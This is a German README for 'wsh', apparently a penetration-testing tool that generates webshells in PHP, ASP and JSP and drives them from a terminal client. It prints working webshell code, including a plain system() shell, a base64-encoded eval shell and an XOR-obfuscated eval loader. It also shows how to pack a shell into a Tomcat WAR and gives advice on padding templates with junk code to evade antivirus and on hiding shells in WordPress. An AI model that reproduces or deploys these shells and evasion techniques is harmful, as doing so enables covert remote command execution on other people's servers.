
Webshell-Generator und Befehlszeilenschnittstelle.
wsh (ausgesprochen woosh) ist ein Webshell-Generator und eine Kommandozeilenschnittstelle. Ursprünglich war es nur ein HTTP-Client, da die Interaktion mit Webshells mühsam ist. Es gibt ein Formular, um einen Befehl zu senden, muss man ihn in ein Eingabefeld tippen und einen Button drücken. Ich wollte etwas, das besser in meinen Workflow passt und im Terminal läuft. So entstand wsh.
Der Client bietet Befehlsverlauf, Protokollierung und kann so konfiguriert werden, dass er mit einer bereits bereitgestellten Standard-Webshell (mit Formular/Button) interagiert. Der Generator erstellt Webshells in PHP, ASP und JSP. Sie werden mit zufälligen Variablen generiert, sodass jede einen eindeutigen Hash hat. Sie können mit einer Whitelist, Passwörtern konfiguriert werden und ermöglichen das Senden von Befehlen über benutzerdefinierte Header und Parameter. Generator und Client können über Kommandozeilen-Flags oder Konfigurationsdateien konfiguriert werden, um ein Setup zu speichern, das für einen funktioniert, ohne den sogenannten „--help-Tanz“ durchführen zu müssen. Nach der Konfiguration verwenden Client und Generator dieselbe Konfigurationsdatei.
wsh <URL> [flags]
-X, --method string HTTP-Methode: GET, POST, PUT, PATCH, DELETE (Standard "GET")
--param string Parameter zum Senden des Befehls
--header string Header zum Senden des Befehls
-P, --params strings HTTP-Anfrageparameter
-H, --headers strings HTTP-Anfrageheader
-c, --config string Konfigurationsdatei
-k, --ignore-ssl Ungültige Zertifikate ignorieren
--log string Protokolldatei
--prefix string Befehl voranstellen: 'cmd /c', 'powershell.exe', 'bash'
--timeout int Anfrage-Timeout in Sekunden (Standard 10)
--trim-prefix string Ausgabe-Präfix abschneiden
--trim-suffix string Ausgabe-Suffix abschneiden
-h, --help Hilfe für wsh
wsh generate <language> [flags]
wsh g <language> [flags]
-X, --method string HTTP-Methode (GET,POST,PUT,PATCH,DELETE) (Standard "GET")
-p, --param string Parameter zum Senden des Befehls
--header string Header zum Senden des Befehls
-w, --whitelist strings IP-Adressen für die Whitelist
-o, --outfile string Ausgabedatei
--no-file Datei-Upload/Download-Funktionen deaktivieren
--pass string Shell passwortgeschützt machen
--pass-header string Header zum Senden des Passworts
--pass-param string Parameter zum Senden des Passworts
--xor-header string Header zum Senden des XOR-Schlüssels
--xor-key string Schlüssel für XOR-Verschlüsselung
--xor-param string Parameter zum Senden des XOR-Schlüssels
--base64 Shell Base64-codieren
--minify Webshell-Code minifizieren
-t, --template string Webshell-Vorlagendatei
-h, --help Hilfe für generate
Ich wollte, dass der Client sprachunabhängig ist, daher mussten alle Webshells dieselbe Upload/Download-Logik implementieren. Leider ist es mühsam, Multipart-Formular-Uploads nativ in JSP und klassischem ASP durchzuführen, daher werden Dateien als Base64 in einem Parameter hochgeladen. Dies ist nicht ideal, da die maximale Dateiuploadgröße auf die maximale Parametergröße begrenzt ist. In Zukunft werde ich möglicherweise versuchen, Multipart-Formular-Uploads zu implementieren oder mehrere Anfragen zu stellen, um größere Dateien zu übertragen.
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote_filepath> [local_filepath] Datei herunterladen
put <local_filepath> [remote_filepath] Datei hochladen
clear Bildschirm löschen
exit Shell beenden
Die folgenden Befehle generieren und interagieren mit einer einfachen PHP-Webshell.
$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php
$MfOb = $_REQUEST['cmd'];
$MfOb = trim($MfOb);
system($MfOb);
die;
?>
Befehle können auch über HTTP-Header gesendet werden.
$ wsh generate php --no-file --header user-agent -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --header user-agent
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php
Passwörter können über Parameter oder Header gesendet werden.
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t
Diese Funktionalität ist interessant, erfordert jedoch möglicherweise eine Modifikation der Vorlagen, um nützlich zu sein. Bei ASP und JSP sind die Bibliotheken, die das Decodieren von Base64 ermöglichen, bekannte IOCs und werden erkannt. Wenn Sie diese Funktionen nutzen möchten, empfehle ich, die Vorlage zu ändern und zu verschleiern.
Wie beim Passwortschutz kann der XOR-Schlüssel über einen Parameter oder einen Header gesendet werden.
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>
$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
$oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
}
}
eval($oooqt);
?>
Um eine Webshell zu generieren, die in Tomcat bereitgestellt werden kann, erstellen Sie eine JSP-Shell namens index.jsp und führen Sie den folgenden Befehl aus, um sie in eine WAR-Datei zu packen.
Gelegentlich verfügt die Tomcat-Umgebung nicht über die für Datei-Upload/Download erforderlichen Bibliotheken, und die Shell gibt bei einer Anfrage einen Fehler aus. Verwenden Sie zur Behebung das Flag --no-file.
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp
Die Verwendung der Go-Template-Bibliothek verleiht dem Generator viel Flexibilität. Gelegentlich wird eine Webshell von der Antivirensoftware erfasst; ich habe jedoch festgestellt, dass das Hinzufügen von viel zufälligem Code in der Vorlagendatei die Shell oft harmlos genug erscheinen lässt, um auf der Festplatte zu überleben. Ich habe ein Beispiel in der Datei templates/covert-php.tml beigefügt.
Darüber hinaus können Sie diese Vorlagen ändern, um Ihren Namen/Ihre Kontaktinformationen für die Zuschreibung im Falle eines Penetrationstests hinzuzufügen.
Ein Präfix kann angegeben werden, um jedem an die Shell gesendeten Befehl eine Zeichenfolge voranzustellen. Dies kann verwendet werden, um eine normale cmd-Shell in eine PowerShell-Shell zu verwandeln.
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/27/2020 11:49 PM config
d----- 5/27/2020 11:49 PM en
d----- 5/28/2020 12:25 AM en-US
-a---- 5/27/2020 11:49 PM 119808 appcmd.exe
Protokolleinträge sind mit einem Zeitstempel versehen und enthalten den Host, mit dem interagiert wird. Protokolldateien werden angehängt, daher können Sie dieselbe Protokolldatei für mehrere Sitzungen/Hosts verwenden.
127.0.0.1:8080/shell.php --param cmd --log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...
[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs
Der Client kann so konfiguriert werden, dass überflüssige HTML-Inhalte aus einer Anfrage entfernt werden. Dies ist nützlich, wenn mit standardmäßigen HTML-Oberflächen-Webshells interagiert wird, oder wenn eine generierte Shell heimlich in eine WordPress-Installation eingebettet ist.
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre>
README.md
cmd
example-configs
index.php
main.go
templates
</pre>
</div>
. . .
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates